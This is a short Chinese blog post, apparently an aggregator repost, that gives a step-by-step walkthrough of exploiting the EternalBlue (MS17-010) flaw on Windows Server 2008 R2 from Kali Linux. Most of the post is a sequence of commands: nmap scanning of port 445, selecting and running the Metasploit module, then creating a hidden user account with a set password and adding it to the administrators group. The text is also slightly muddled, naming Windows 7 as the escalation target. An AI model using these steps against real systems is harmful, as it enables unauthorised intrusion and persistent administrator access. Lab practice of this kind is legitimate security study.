永恒之蓝漏洞发现与利用
Posted boboaiwanshua
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了永恒之蓝漏洞发现与利用相关的知识，希望对你有一定的参考价值。
永恒之蓝恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
攻击机：kali linux
靶机：Windows sever2008 r2
kali和靶机要在同一个网段
我们打开kali
nmap -Pn（目标ip） 扫描目标端口开启情况，主要目标445
msfconsole 打开攻击软件
search ms17-010 查看漏洞利用模块
use 0（一共四个模块，第一个是扫描模块） 打开扫描模块
show options 打开目标设置界面，设置RHOSTS目标IP地址
set rhosts （目标ip） 设置目标IP地址 也是windows server2008 r2的ip
run 运行漏洞
net user king9 2000666zli. /add [在目标主机上创建一个名为king9的账户，密码 2000666zli.
目标主机被创建账户
因为是创建的用户 所有没有管理员权限，我们给他进行提权
kali下对win7提权
net localgroup administrators 账户名/add
然后我们登陆windows server2008r2
以上是关于永恒之蓝漏洞发现与利用的主要内容，如果未能解决你的问题，请参考以下文章